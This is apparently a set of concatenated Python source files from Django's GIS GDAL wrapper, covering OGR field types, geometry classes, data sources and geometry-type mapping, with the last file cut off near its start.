        self.__class__ = OGRFieldTypes[self.type]

        # OFTReal with no precision should be an OFTInteger.
        if isinstance(self, OFTReal) and self.precision == 0:
            self.__class__ = OFTInteger
            self._double = True

    def __str__(self):
        "Returns the string representation of the Field."
        return str(self.value).strip()

    # #### Field Methods ####
    def as_double(self):
        "Retrieves the Field's value as a double (float)."
        return capi.get_field_as_double(self._feat.ptr, self._index)

    def as_int(self, is_64=False):
        "Retrieves the Field's value as an integer."
        if is_64:
            return capi.get_field_as_integer64(self._feat.ptr, self._index)
        else:
            return capi.get_field_as_integer(self._feat.ptr, self._index)

    def as_string(self):
        "Retrieves the Field's value as a string."
        string = capi.get_field_as_string(self._feat.ptr, self._index)
        return force_text(string, encoding=self._feat.encoding, strings_only=True)

    def as_datetime(self):
        "Retrieves the Field's value as a tuple of date & time components."
        yy, mm, dd, hh, mn, ss, tz = [c_int() for i in range(7)]
        status = capi.get_field_as_datetime(
            self._feat.ptr, self._index, byref(yy), byref(mm), byref(dd),
            byref(hh), byref(mn), byref(ss), byref(tz))
        if status:
            return (yy, mm, dd, hh, mn, ss, tz)
        else:
            raise GDALException('Unable to retrieve date & time information from the field.')

    # #### Field Properties ####
    @property
    def name(self):
        "Returns the name of this Field."
        name = capi.get_field_name(self.ptr)
        return force_text(name, encoding=self._feat.encoding, strings_only=True)

    @property
    def precision(self):
        "Returns the precision of this Field."
        return capi.get_field_precision(self.ptr)

    @property
    def type(self):
        "Returns the OGR type of this Field."
        return capi.get_field_type(self.ptr)

    @property
    def type_name(self):
        "Return the OGR field type name for this Field."
        return capi.get_field_type_name(self.type)

    @property
    def value(self):
        "Returns the value of this Field."
        # Default is to get the field as a string.
        return self.as_string()

    @property
    def width(self):
        "Returns the width of this Field."
        return capi.get_field_width(self.ptr)


# ### The Field sub-classes for each OGR Field type. ###
class OFTInteger(Field):
    _double = False
    _bit64 = False

    @property
    def value(self):
        "Returns an integer contained in this field."
        if self._double:
            # If this is really from an OFTReal field with no precision,
            # read as a double and cast as Python int (to prevent overflow).
            return int(self.as_double())
        else:
            return self.as_int(self._bit64)

    @property
    def type(self):
        """
        GDAL uses OFTReals to represent OFTIntegers in created
        shapefiles -- forcing the type here since the underlying field
        type may actually be OFTReal.
        """
        return 0


class OFTReal(Field):
    @property
    def value(self):
        "Returns a float contained in this field."
        return self.as_double()


# String & Binary fields, just subclasses
class OFTString(Field):
    pass


class OFTWideString(Field):
    pass


class OFTBinary(Field):
    pass


# OFTDate, OFTTime, OFTDateTime fields.
class OFTDate(Field):
    @property
    def value(self):
        "Returns a Python `date` object for the OFTDate field."
        try:
            yy, mm, dd, hh, mn, ss, tz = self.as_datetime()
            return date(yy.value, mm.value, dd.value)
        except (ValueError, GDALException):
            return None


class OFTDateTime(Field):
    @property
    def value(self):
        "Returns a Python `datetime` object for this OFTDateTime field."
        # TODO: Adapt timezone information.
        #  See http://lists.osgeo.org/pipermail/gdal-dev/2006-February/007990.html
        #  The `tz` variable has values of: 0=unknown, 1=localtime (ambiguous),
        #  100=GMT, 104=GMT+1, 80=GMT-5, etc.
        try:
            yy, mm, dd, hh, mn, ss, tz = self.as_datetime()
            return datetime(yy.value, mm.value, dd.value, hh.value, mn.value, ss.value)
        except (ValueError, GDALException):
            return None


class OFTTime(Field):
    @property
    def value(self):
        "Returns a Python `time` object for this OFTTime field."
        try:
            yy, mm, dd, hh, mn, ss, tz = self.as_datetime()
            return time(hh.value, mn.value, ss.value)
        except (ValueError, GDALException):
            return None


class OFTInteger64(OFTInteger):
    _bit64 = True


# List fields are also just subclasses
class OFTIntegerList(Field):
    pass


class OFTRealList(Field):
    pass


class OFTStringList(Field):
    pass


class OFTWideStringList(Field):
    pass


class OFTInteger64List(Field):
    pass


# Class mapping dictionary for OFT Types and reverse mapping.
OGRFieldTypes = {
    0: OFTInteger,
    1: OFTIntegerList,
    2: OFTReal,
    3: OFTRealList,
    4: OFTString,
    5: OFTStringList,
    6: OFTWideString,
    7: OFTWideStringList,
    8: OFTBinary,
    9: OFTDate,
    10: OFTTime,
    11: OFTDateTime,
    # New 64-bit integer types in GDAL 2
    12: OFTInteger64,
    13: OFTInteger64List,
}
ROGRFieldTypes = {cls: num for num, cls in OGRFieldTypes.items()}






from ctypes import c_void_p

from django.contrib.gis.gdal.error import GDALException
from django.utils import six


class GDALBase(object):
    """
    Base object for GDAL objects that has a pointer access property
    that controls access to the underlying C pointer.
    """
    # Initially the pointer is NULL.
    _ptr = None

    # Default allowed pointer type.
    ptr_type = c_void_p

    # Pointer access property.
    def _get_ptr(self):
        # Raise an exception if the pointer isn't valid don't
        # want to be passing NULL pointers to routines --
        # that's very bad.
        if self._ptr:
            return self._ptr
        else:
            raise GDALException('GDAL %s pointer no longer valid.' % self.__class__.__name__)

    def _set_ptr(self, ptr):
        # Only allow the pointer to be set with pointers of the
        # compatible type or None (NULL).
        if isinstance(ptr, six.integer_types):
            self._ptr = self.ptr_type(ptr)
        elif ptr is None or isinstance(ptr, self.ptr_type):
            self._ptr = ptr
        else:
            raise TypeError('Incompatible pointer type')

    ptr = property(_get_ptr, _set_ptr)






"""
 The OGRGeometry is a wrapper for using the OGR Geometry class
 (see http://www.gdal.org/classOGRGeometry.html).  OGRGeometry
 may be instantiated when reading geometries from OGR Data Sources
 (e.g. SHP files), or when given OGC WKT (a string).

 While the 'full' API is not present yet, the API is "pythonic" unlike
 the traditional and "next-generation" OGR Python bindings.  One major
 advantage OGR Geometries have over their GEOS counterparts is support
 for spatial reference systems and their transformation.

 Example:
  >>> from django.contrib.gis.gdal import OGRGeometry, OGRGeomType, SpatialReference
  >>> wkt1, wkt2 = 'POINT(-90 30)', 'POLYGON((0 0, 5 0, 5 5, 0 5)'
  >>> pnt = OGRGeometry(wkt1)
  >>> print(pnt)
  POINT (-90 30)
  >>> mpnt = OGRGeometry(OGRGeomType('MultiPoint'), SpatialReference('WGS84'))
  >>> mpnt.add(wkt1)
  >>> mpnt.add(wkt1)
  >>> print(mpnt)
  MULTIPOINT (-90 30,-90 30)
  >>> print(mpnt.srs.name)
  WGS 84
  >>> print(mpnt.srs.proj)
  +proj=longlat +ellps=WGS84 +datum=WGS84 +no_defs
  >>> mpnt.transform(SpatialReference('NAD27'))
  >>> print(mpnt.proj)
  +proj=longlat +ellps=clrk66 +datum=NAD27 +no_defs
  >>> print(mpnt)
  MULTIPOINT (-89.999930378602485 29.999797886557641,-89.999930378602485 29.999797886557641)

  The OGRGeomType class is to make it easy to specify an OGR geometry type:
  >>> from django.contrib.gis.gdal import OGRGeomType
  >>> gt1 = OGRGeomType(3) # Using an integer for the type
  >>> gt2 = OGRGeomType('Polygon') # Using a string
  >>> gt3 = OGRGeomType('POLYGON') # It's case-insensitive
  >>> print(gt1 == 3, gt1 == 'Polygon') # Equivalence works w/non-OGRGeomType objects
  True True
"""
import sys
from binascii import a2b_hex, b2a_hex
from ctypes import byref, c_char_p, c_double, c_ubyte, c_void_p, string_at

from django.contrib.gis.gdal.base import GDALBase
from django.contrib.gis.gdal.envelope import Envelope, OGREnvelope
from django.contrib.gis.gdal.error import (
    GDALException, OGRIndexError, SRSException,
)
from django.contrib.gis.gdal.geomtype import OGRGeomType
from django.contrib.gis.gdal.prototypes import geom as capi, srs as srs_api
from django.contrib.gis.gdal.srs import CoordTransform, SpatialReference
from django.contrib.gis.geometry.regex import hex_regex, json_regex, wkt_regex
from django.utils import six
from django.utils.encoding import force_bytes
from django.utils.six.moves import range


# For more information, see the OGR C API source code:
#  http://www.gdal.org/ogr__api_8h.html
#
# The OGR_G_* routines are relevant here.
class OGRGeometry(GDALBase):
    "Generally encapsulates an OGR geometry."

    def __init__(self, geom_input, srs=None):
        "Initializes Geometry on either WKT or an OGR pointer as input."

        str_instance = isinstance(geom_input, six.string_types)

        # If HEX, unpack input to a binary buffer.
        if str_instance and hex_regex.match(geom_input):
            geom_input = six.memoryview(a2b_hex(geom_input.upper().encode()))
            str_instance = False

        # Constructing the geometry,
        if str_instance:
            wkt_m = wkt_regex.match(geom_input)
            json_m = json_regex.match(geom_input)
            if wkt_m:
                if wkt_m.group('srid'):
                    # If there's EWKT, set the SRS w/value of the SRID.
                    srs = int(wkt_m.group('srid'))
                if wkt_m.group('type').upper() == 'LINEARRING':
                    # OGR_G_CreateFromWkt doesn't work with LINEARRING WKT.
                    #  See http://trac.osgeo.org/gdal/ticket/1992.
                    g = capi.create_geom(OGRGeomType(wkt_m.group('type')).num)
                    capi.import_wkt(g, byref(c_char_p(wkt_m.group('wkt').encode())))
                else:
                    g = capi.from_wkt(byref(c_char_p(wkt_m.group('wkt').encode())), None, byref(c_void_p()))
            elif json_m:
                g = capi.from_json(geom_input.encode())
            else:
                # Seeing if the input is a valid short-hand string
                # (e.g., 'Point', 'POLYGON').
                OGRGeomType(geom_input)
                g = capi.create_geom(OGRGeomType(geom_input).num)
        elif isinstance(geom_input, six.memoryview):
            # WKB was passed in
            g = capi.from_wkb(bytes(geom_input), None, byref(c_void_p()), len(geom_input))
        elif isinstance(geom_input, OGRGeomType):
            # OGRGeomType was passed in, an empty geometry will be created.
            g = capi.create_geom(geom_input.num)
        elif isinstance(geom_input, self.ptr_type):
            # OGR pointer (c_void_p) was the input.
            g = geom_input
        else:
            raise GDALException('Invalid input type for OGR Geometry construction: %s' % type(geom_input))

        # Now checking the Geometry pointer before finishing initialization
        # by setting the pointer for the object.
        if not g:
            raise GDALException('Cannot create OGR Geometry from input: %s' % str(geom_input))
        self.ptr = g

        # Assigning the SpatialReference object to the geometry, if valid.
        if srs:
            self.srs = srs

        # Setting the class depending upon the OGR Geometry Type
        self.__class__ = GEO_CLASSES[self.geom_type.num]

    def __del__(self):
        "Deletes this Geometry."
        try:
            capi.destroy_geom(self._ptr)
        except (AttributeError, TypeError):
            pass  # Some part might already have been garbage collected

    # Pickle routines
    def __getstate__(self):
        srs = self.srs
        if srs:
            srs = srs.wkt
        else:
            srs = None
        return bytes(self.wkb), srs

    def __setstate__(self, state):
        wkb, srs = state
        ptr = capi.from_wkb(wkb, None, byref(c_void_p()), len(wkb))
        if not ptr:
            raise GDALException('Invalid OGRGeometry loaded from pickled state.')
        self.ptr = ptr
        self.srs = srs

    @classmethod
    def from_bbox(cls, bbox):
        "Constructs a Polygon from a bounding box (4-tuple)."
        x0, y0, x1, y1 = bbox
        return OGRGeometry('POLYGON((%s %s, %s %s, %s %s, %s %s, %s %s))' % (
            x0, y0, x0, y1, x1, y1, x1, y0, x0, y0))

    @classmethod
    def from_gml(cls, gml_string):
        return cls(capi.from_gml(force_bytes(gml_string)))

    # ### Geometry set-like operations ###
    # g = g1 | g2
    def __or__(self, other):
        "Returns the union of the two geometries."
        return self.union(other)

    # g = g1 & g2
    def __and__(self, other):
        "Returns the intersection of this Geometry and the other."
        return self.intersection(other)

    # g = g1 - g2
    def __sub__(self, other):
        "Return the difference this Geometry and the other."
        return self.difference(other)

    # g = g1 ^ g2
    def __xor__(self, other):
        "Return the symmetric difference of this Geometry and the other."
        return self.sym_difference(other)

    def __eq__(self, other):
        "Is this Geometry equal to the other?"
        if isinstance(other, OGRGeometry):
            return self.equals(other)
        else:
            return False

    def __ne__(self, other):
        "Tests for inequality."
        return not (self == other)

    def __str__(self):
        "WKT is used for the string representation."
        return self.wkt

    # #### Geometry Properties ####
    @property
    def dimension(self):
        "Returns 0 for points, 1 for lines, and 2 for surfaces."
        return capi.get_dims(self.ptr)

    def _get_coord_dim(self):
        "Returns the coordinate dimension of the Geometry."
        return capi.get_coord_dim(self.ptr)

    def _set_coord_dim(self, dim):
        "Sets the coordinate dimension of this Geometry."
        if dim not in (2, 3):
            raise ValueError('Geometry dimension must be either 2 or 3')
        capi.set_coord_dim(self.ptr, dim)

    coord_dim = property(_get_coord_dim, _set_coord_dim)

    @property
    def geom_count(self):
        "The number of elements in this Geometry."
        return capi.get_geom_count(self.ptr)

    @property
    def point_count(self):
        "Returns the number of Points in this Geometry."
        return capi.get_point_count(self.ptr)

    @property
    def num_points(self):
        "Alias for `point_count` (same name method in GEOS API.)"
        return self.point_count

    @property
    def num_coords(self):
        "Alais for `point_count`."
        return self.point_count

    @property
    def geom_type(self):
        "Returns the Type for this Geometry."
        return OGRGeomType(capi.get_geom_type(self.ptr))

    @property
    def geom_name(self):
        "Returns the Name of this Geometry."
        return capi.get_geom_name(self.ptr)

    @property
    def area(self):
        "Returns the area for a LinearRing, Polygon, or MultiPolygon; 0 otherwise."
        return capi.get_area(self.ptr)

    @property
    def envelope(self):
        "Returns the envelope for this Geometry."
        # TODO: Fix Envelope() for Point geometries.
        return Envelope(capi.get_envelope(self.ptr, byref(OGREnvelope())))

    @property
    def extent(self):
        "Returns the envelope as a 4-tuple, instead of as an Envelope object."
        return self.envelope.tuple

    # #### SpatialReference-related Properties ####

    # The SRS property
    def _get_srs(self):
        "Returns the Spatial Reference for this Geometry."
        try:
            srs_ptr = capi.get_geom_srs(self.ptr)
            return SpatialReference(srs_api.clone_srs(srs_ptr))
        except SRSException:
            return None

    def _set_srs(self, srs):
        "Sets the SpatialReference for this geometry."
        # Do not have to clone the `SpatialReference` object pointer because
        # when it is assigned to this `OGRGeometry` it's internal OGR
        # reference count is incremented, and will likewise be released
        # (decremented) when this geometry's destructor is called.
        if isinstance(srs, SpatialReference):
            srs_ptr = srs.ptr
        elif isinstance(srs, six.integer_types + six.string_types):
            sr = SpatialReference(srs)
            srs_ptr = sr.ptr
        elif srs is None:
            srs_ptr = None
        else:
            raise TypeError('Cannot assign spatial reference with object of type: %s' % type(srs))
        capi.assign_srs(self.ptr, srs_ptr)

    srs = property(_get_srs, _set_srs)

    # The SRID property
    def _get_srid(self):
        srs = self.srs
        if srs:
            return srs.srid
        return None

    def _set_srid(self, srid):
        if isinstance(srid, six.integer_types) or srid is None:
            self.srs = srid
        else:
            raise TypeError('SRID must be set with an integer.')

    srid = property(_get_srid, _set_srid)

    # #### Output Methods ####
    @property
    def geos(self):
        "Returns a GEOSGeometry object from this OGRGeometry."
        from django.contrib.gis.geos import GEOSGeometry
        return GEOSGeometry(self.wkb, self.srid)

    @property
    def gml(self):
        "Returns the GML representation of the Geometry."
        return capi.to_gml(self.ptr)

    @property
    def hex(self):
        "Returns the hexadecimal representation of the WKB (a string)."
        return b2a_hex(self.wkb).upper()

    @property
    def json(self):
        """
        Returns the GeoJSON representation of this Geometry.
        """
        return capi.to_json(self.ptr)
    geojson = json

    @property
    def kml(self):
        "Returns the KML representation of the Geometry."
        return capi.to_kml(self.ptr, None)

    @property
    def wkb_size(self):
        "Returns the size of the WKB buffer."
        return capi.get_wkbsize(self.ptr)

    @property
    def wkb(self):
        "Returns the WKB representation of the Geometry."
        if sys.byteorder == 'little':
            byteorder = 1  # wkbNDR (from ogr_core.h)
        else:
            byteorder = 0  # wkbXDR
        sz = self.wkb_size
        # Creating the unsigned character buffer, and passing it in by reference.
        buf = (c_ubyte * sz)()
        capi.to_wkb(self.ptr, byteorder, byref(buf))
        # Returning a buffer of the string at the pointer.
        return six.memoryview(string_at(buf, sz))

    @property
    def wkt(self):
        "Returns the WKT representation of the Geometry."
        return capi.to_wkt(self.ptr, byref(c_char_p()))

    @property
    def ewkt(self):
        "Returns the EWKT representation of the Geometry."
        srs = self.srs
        if srs and srs.srid:
            return 'SRID=%s;%s' % (srs.srid, self.wkt)
        else:
            return self.wkt

    # #### Geometry Methods ####
    def clone(self):
        "Clones this OGR Geometry."
        return OGRGeometry(capi.clone_geom(self.ptr), self.srs)

    def close_rings(self):
        """
        If there are any rings within this geometry that have not been
        closed, this routine will do so by adding the starting point at the
        end.
        """
        # Closing the open rings.
        capi.geom_close_rings(self.ptr)

    def transform(self, coord_trans, clone=False):
        """
        Transforms this geometry to a different spatial reference system.
        May take a CoordTransform object, a SpatialReference object, string
        WKT or PROJ.4, and/or an integer SRID.  By default nothing is returned
        and the geometry is transformed in-place.  However, if the `clone`
        keyword is set, then a transformed clone of this geometry will be
        returned.
        """
        if clone:
            klone = self.clone()
            klone.transform(coord_trans)
            return klone

        # Depending on the input type, use the appropriate OGR routine
        # to perform the transformation.
        if isinstance(coord_trans, CoordTransform):
            capi.geom_transform(self.ptr, coord_trans.ptr)
        elif isinstance(coord_trans, SpatialReference):
            capi.geom_transform_to(self.ptr, coord_trans.ptr)
        elif isinstance(coord_trans, six.integer_types + six.string_types):
            sr = SpatialReference(coord_trans)
            capi.geom_transform_to(self.ptr, sr.ptr)
        else:
            raise TypeError('Transform only accepts CoordTransform, '
                            'SpatialReference, string, and integer objects.')

    # #### Topology Methods ####
    def _topology(self, func, other):
        """A generalized function for topology operations, takes a GDAL function and
        the other geometry to perform the operation on."""
        if not isinstance(other, OGRGeometry):
            raise TypeError('Must use another OGRGeometry object for topology operations!')

        # Returning the output of the given function with the other geometry's
        # pointer.
        return func(self.ptr, other.ptr)

    def intersects(self, other):
        "Returns True if this geometry intersects with the other."
        return self._topology(capi.ogr_intersects, other)

    def equals(self, other):
        "Returns True if this geometry is equivalent to the other."
        return self._topology(capi.ogr_equals, other)

    def disjoint(self, other):
        "Returns True if this geometry and the other are spatially disjoint."
        return self._topology(capi.ogr_disjoint, other)

    def touches(self, other):
        "Returns True if this geometry touches the other."
        return self._topology(capi.ogr_touches, other)

    def crosses(self, other):
        "Returns True if this geometry crosses the other."
        return self._topology(capi.ogr_crosses, other)

    def within(self, other):
        "Returns True if this geometry is within the other."
        return self._topology(capi.ogr_within, other)

    def contains(self, other):
        "Returns True if this geometry contains the other."
        return self._topology(capi.ogr_contains, other)

    def overlaps(self, other):
        "Returns True if this geometry overlaps the other."
        return self._topology(capi.ogr_overlaps, other)

    # #### Geometry-generation Methods ####
    def _geomgen(self, gen_func, other=None):
        "A helper routine for the OGR routines that generate geometries."
        if isinstance(other, OGRGeometry):
            return OGRGeometry(gen_func(self.ptr, other.ptr), self.srs)
        else:
            return OGRGeometry(gen_func(self.ptr), self.srs)

    @property
    def boundary(self):
        "Returns the boundary of this geometry."
        return self._geomgen(capi.get_boundary)

    @property
    def convex_hull(self):
        """
        Returns the smallest convex Polygon that contains all the points in
        this Geometry.
        """
        return self._geomgen(capi.geom_convex_hull)

    def difference(self, other):
        """
        Returns a new geometry consisting of the region which is the difference
        of this geometry and the other.
        """
        return self._geomgen(capi.geom_diff, other)

    def intersection(self, other):
        """
        Returns a new geometry consisting of the region of intersection of this
        geometry and the other.
        """
        return self._geomgen(capi.geom_intersection, other)

    def sym_difference(self, other):
        """
        Returns a new geometry which is the symmetric difference of this
        geometry and the other.
        """
        return self._geomgen(capi.geom_sym_diff, other)

    def union(self, other):
        """
        Returns a new geometry consisting of the region which is the union of
        this geometry and the other.
        """
        return self._geomgen(capi.geom_union, other)


# The subclasses for OGR Geometry.
class Point(OGRGeometry):

    @property
    def x(self):
        "Returns the X coordinate for this Point."
        return capi.getx(self.ptr, 0)

    @property
    def y(self):
        "Returns the Y coordinate for this Point."
        return capi.gety(self.ptr, 0)

    @property
    def z(self):
        "Returns the Z coordinate for this Point."
        if self.coord_dim == 3:
            return capi.getz(self.ptr, 0)

    @property
    def tuple(self):
        "Returns the tuple of this point."
        if self.coord_dim == 2:
            return (self.x, self.y)
        elif self.coord_dim == 3:
            return (self.x, self.y, self.z)
    coords = tuple


class LineString(OGRGeometry):

    def __getitem__(self, index):
        "Returns the Point at the given index."
        if index >= 0 and index < self.point_count:
            x, y, z = c_double(), c_double(), c_double()
            capi.get_point(self.ptr, index, byref(x), byref(y), byref(z))
            dim = self.coord_dim
            if dim == 1:
                return (x.value,)
            elif dim == 2:
                return (x.value, y.value)
            elif dim == 3:
                return (x.value, y.value, z.value)
        else:
            raise OGRIndexError('index out of range: %s' % str(index))

    def __iter__(self):
        "Iterates over each point in the LineString."
        for i in range(self.point_count):
            yield self[i]

    def __len__(self):
        "The length returns the number of points in the LineString."
        return self.point_count

    @property
    def tuple(self):
        "Returns the tuple representation of this LineString."
        return tuple(self[i] for i in range(len(self)))
    coords = tuple

    def _listarr(self, func):
        """
        Internal routine that returns a sequence (list) corresponding with
        the given function.
        """
        return [func(self.ptr, i) for i in range(len(self))]

    @property
    def x(self):
        "Returns the X coordinates in a list."
        return self._listarr(capi.getx)

    @property
    def y(self):
        "Returns the Y coordinates in a list."
        return self._listarr(capi.gety)

    @property
    def z(self):
        "Returns the Z coordinates in a list."
        if self.coord_dim == 3:
            return self._listarr(capi.getz)


# LinearRings are used in Polygons.
class LinearRing(LineString):
    pass


class Polygon(OGRGeometry):

    def __len__(self):
        "The number of interior rings in this Polygon."
        return self.geom_count

    def __iter__(self):
        "Iterates through each ring in the Polygon."
        for i in range(self.geom_count):
            yield self[i]

    def __getitem__(self, index):
        "Gets the ring at the specified index."
        if index < 0 or index >= self.geom_count:
            raise OGRIndexError('index out of range: %s' % index)
        else:
            return OGRGeometry(capi.clone_geom(capi.get_geom_ref(self.ptr, index)), self.srs)

    # Polygon Properties
    @property
    def shell(self):
        "Returns the shell of this Polygon."
        return self[0]  # First ring is the shell
    exterior_ring = shell

    @property
    def tuple(self):
        "Returns a tuple of LinearRing coordinate tuples."
        return tuple(self[i].tuple for i in range(self.geom_count))
    coords = tuple

    @property
    def point_count(self):
        "The number of Points in this Polygon."
        # Summing up the number of points in each ring of the Polygon.
        return sum(self[i].point_count for i in range(self.geom_count))

    @property
    def centroid(self):
        "Returns the centroid (a Point) of this Polygon."
        # The centroid is a Point, create a geometry for this.
        p = OGRGeometry(OGRGeomType('Point'))
        capi.get_centroid(self.ptr, p.ptr)
        return p


# Geometry Collection base class.
class GeometryCollection(OGRGeometry):
    "The Geometry Collection class."

    def __getitem__(self, index):
        "Gets the Geometry at the specified index."
        if index < 0 or index >= self.geom_count:
            raise OGRIndexError('index out of range: %s' % index)
        else:
            return OGRGeometry(capi.clone_geom(capi.get_geom_ref(self.ptr, index)), self.srs)

    def __iter__(self):
        "Iterates over each Geometry."
        for i in range(self.geom_count):
            yield self[i]

    def __len__(self):
        "The number of geometries in this Geometry Collection."
        return self.geom_count

    def add(self, geom):
        "Add the geometry to this Geometry Collection."
        if isinstance(geom, OGRGeometry):
            if isinstance(geom, self.__class__):
                for g in geom:
                    capi.add_geom(self.ptr, g.ptr)
            else:
                capi.add_geom(self.ptr, geom.ptr)
        elif isinstance(geom, six.string_types):
            tmp = OGRGeometry(geom)
            capi.add_geom(self.ptr, tmp.ptr)
        else:
            raise GDALException('Must add an OGRGeometry.')

    @property
    def point_count(self):
        "The number of Points in this Geometry Collection."
        # Summing up the number of points in each geometry in this collection
        return sum(self[i].point_count for i in range(self.geom_count))

    @property
    def tuple(self):
        "Returns a tuple representation of this Geometry Collection."
        return tuple(self[i].tuple for i in range(self.geom_count))
    coords = tuple


# Multiple Geometry types.
class MultiPoint(GeometryCollection):
    pass


class MultiLineString(GeometryCollection):
    pass


class MultiPolygon(GeometryCollection):
    pass

# Class mapping dictionary (using the OGRwkbGeometryType as the key)
GEO_CLASSES = {1: Point,
               2: LineString,
               3: Polygon,
               4: MultiPoint,
               5: MultiLineString,
               6: MultiPolygon,
               7: GeometryCollection,
               101: LinearRing,
               1 + OGRGeomType.wkb25bit: Point,
               2 + OGRGeomType.wkb25bit: LineString,
               3 + OGRGeomType.wkb25bit: Polygon,
               4 + OGRGeomType.wkb25bit: MultiPoint,
               5 + OGRGeomType.wkb25bit: MultiLineString,
               6 + OGRGeomType.wkb25bit: MultiPolygon,
               7 + OGRGeomType.wkb25bit: GeometryCollection,
               }






"""
 DataSource is a wrapper for the OGR Data Source object, which provides
 an interface for reading vector geometry data from many different file
 formats (including ESRI shapefiles).

 When instantiating a DataSource object, use the filename of a
 GDAL-supported data source.  For example, a SHP file or a
 TIGER/Line file from the government.

 The ds_driver keyword is used internally when a ctypes pointer
 is passed in directly.

 Example:
  ds = DataSource('/home/foo/bar.shp')
  for layer in ds:
      for feature in layer:
          # Getting the geometry for the feature.
          g = feature.geom

          # Getting the 'description' field for the feature.
          desc = feature['description']

          # We can also increment through all of the fields
          #  attached to this feature.
          for field in feature:
              # Get the name of the field (e.g. 'description')
              nm = field.name

              # Get the type (integer) of the field, e.g. 0 => OFTInteger
              t = field.type

              # Returns the value the field; OFTIntegers return ints,
              #  OFTReal returns floats, all else returns string.
              val = field.value
"""
from ctypes import byref

from django.contrib.gis.gdal.base import GDALBase
from django.contrib.gis.gdal.driver import Driver
from django.contrib.gis.gdal.error import GDALException, OGRIndexError
from django.contrib.gis.gdal.layer import Layer
from django.contrib.gis.gdal.prototypes import ds as capi
from django.utils import six
from django.utils.encoding import force_bytes, force_text
from django.utils.six.moves import range


# For more information, see the OGR C API source code:
#  http://www.gdal.org/ogr__api_8h.html
#
# The OGR_DS_* routines are relevant here.
class DataSource(GDALBase):
    "Wraps an OGR Data Source object."

    def __init__(self, ds_input, ds_driver=False, write=False, encoding='utf-8'):
        # The write flag.
        if write:
            self._write = 1
        else:
            self._write = 0
        # See also http://trac.osgeo.org/gdal/wiki/rfc23_ogr_unicode
        self.encoding = encoding

        Driver.ensure_registered()

        if isinstance(ds_input, six.string_types):
            # The data source driver is a void pointer.
            ds_driver = Driver.ptr_type()
            try:
                # OGROpen will auto-detect the data source type.
                ds = capi.open_ds(force_bytes(ds_input), self._write, byref(ds_driver))
            except GDALException:
                # Making the error message more clear rather than something
                # like "Invalid pointer returned from OGROpen".
                raise GDALException('Could not open the datasource at "%s"' % ds_input)
        elif isinstance(ds_input, self.ptr_type) and isinstance(ds_driver, Driver.ptr_type):
            ds = ds_input
        else:
            raise GDALException('Invalid data source input type: %s' % type(ds_input))

        if ds:
            self.ptr = ds
            self.driver = Driver(ds_driver)
        else:
            # Raise an exception if the returned pointer is NULL
            raise GDALException('Invalid data source file "%s"' % ds_input)

    def __del__(self):
        "Destroys this DataStructure object."
        try:
            capi.destroy_ds(self._ptr)
        except (AttributeError, TypeError):
            pass  # Some part might already have been garbage collected

    def __iter__(self):
        "Allows for iteration over the layers in a data source."
        for i in range(self.layer_count):
            yield self[i]

    def __getitem__(self, index):
        "Allows use of the index [] operator to get a layer at the index."
        if isinstance(index, six.string_types):
            l = capi.get_layer_by_name(self.ptr, force_bytes(index))
            if not l:
                raise OGRIndexError('invalid OGR Layer name given: "%s"' % index)
        elif isinstance(index, int):
            if index < 0 or index >= self.layer_count:
                raise OGRIndexError('index out of range')
            l = capi.get_layer(self._ptr, index)
        else:
            raise TypeError('Invalid index type: %s' % type(index))
        return Layer(l, self)

    def __len__(self):
        "Returns the number of layers within the data source."
        return self.layer_count

    def __str__(self):
        "Returns OGR GetName and Driver for the Data Source."
        return '%s (%s)' % (self.name, str(self.driver))

    @property
    def layer_count(self):
        "Returns the number of layers in the data source."
        return capi.get_layer_count(self._ptr)

    @property
    def name(self):
        "Returns the name of the data source."
        name = capi.get_ds_name(self._ptr)
        return force_text(name, self.encoding, strings_only=True)






from django.contrib.gis.gdal.error import GDALException
from django.utils import six


class OGRGeomType(object):
    "Encapsulates OGR Geometry Types."

    wkb25bit = -2147483648

    # Dictionary of acceptable OGRwkbGeometryType s and their string names.
    _types = {0: 'Unknown',
              1: 'Point',
              2: 'LineString',
              3: 'Polygon',
              4: 'MultiPoint',
              5: 'MultiLineString',
              6: 'MultiPolygon',
              7: 'GeometryCollection',
              100: 'None',
              101: 'LinearRing',
              102: 'PointZ',
              1 + wkb25bit: 'Point25D',
              2 + wkb25bit: 'LineString25D',
              3 + wkb25bit: 'Polygon25D',
              4 + wkb25bit: 'MultiPoint25D',
              5 + wkb25bit: 'MultiLineString25D',
              6 + wkb25bit: 'MultiPolygon25D',
              7 + wkb25bit: 'GeometryCollection25D',
              }
    # Reverse type dictionary, keyed by lower-case of the name.
    _str_types = {v.lower(): k for k, v in _types.items()}

    def __init__(self, type_input):
        "Figures out the correct OGR Type based upon the input."
        if isinstance(type_input, OGRGeomType):
            num = type_input.num
        elif isinstance(type_input, six.string_types):
            type_input = type_input.lower()
            if type_input == 'geometry':
                type_input = 'unknown'
            num = self._str_types.get(type_input)
            if num is None:
                raise GDALException('Invalid OGR String Type "%s"' % type_input)
        elif isinstance(type_input, int):
            if type_input not in self._types:
                raise GDALException('Invalid OGR Integer Type: %d' % type_input)
            num = type_input
        else:
            raise TypeError('Invalid OGR input type given.')

        # Setting the OGR geometry type number.
        self.num = num

    def __str__(self):
        "Returns the value of the name property."
        return self.name

    def __eq__(self, other):
        """
        Does an equivalence test on the OGR type with the given
        other OGRGeomType, the short-hand string, or the integer.
        """
        if isinstance(other, OGRGeomType):
            return self.num == other.num
        elif isinstance(other, six.string_types):
            return self.name.lower() == other.lower()
        elif isinstance(other, int):
            return self.num == other
        else:
            return False

    def __ne__(self, other):
        return not (self == other)

    @property
    def name(self):
        "Returns a short-hand string form of the OGR Geometry type."
        return self._types[self.num]

    @property
    def django(self):
        "Returns the Django GeometryField for this OGR Type."
        s = self.name.replace('25D', '')
        if s in ('LinearRing', 'None'):
            return None
        elif s == 'Unknown':
            s = 'Geometry'
        elif s == 'PointZ':
            s = 'Point'
        return s + 'Field'

    def to_multi(self):
        """
        Transform Point, LineString, Polygon, and their 25D equivalents
        to their Multi... counterpart.
        """
        if self.name.startswith(('Point', 'LineString', 'Polygon')):
            self.num += 3






from django.contrib.gis.gdal.base import GDALBase
from django.contrib.gis.gdal.error import GDALException, OGRIndexError
from django.contrib.gis.gdal.field import Field
from django.contrib.gis.gdal.geometries import OGRGeometry, OGRGeomType
from django.contrib.gis.gdal.prototypes import ds as capi, geom as geom_api
from django.utils import six
from django.utils.encoding import force_bytes, force_text
from django.utils.six.moves import range


# For more information, see the OGR C API source code:
#  http://www.gdal.org/ogr__api_8h.html
#
# The OGR_F_* routines are relevant here.
class Feature(GDALBase):
    """
    This class that wraps an OGR Feature, needs to be instantiated
    from a Layer object.
    """
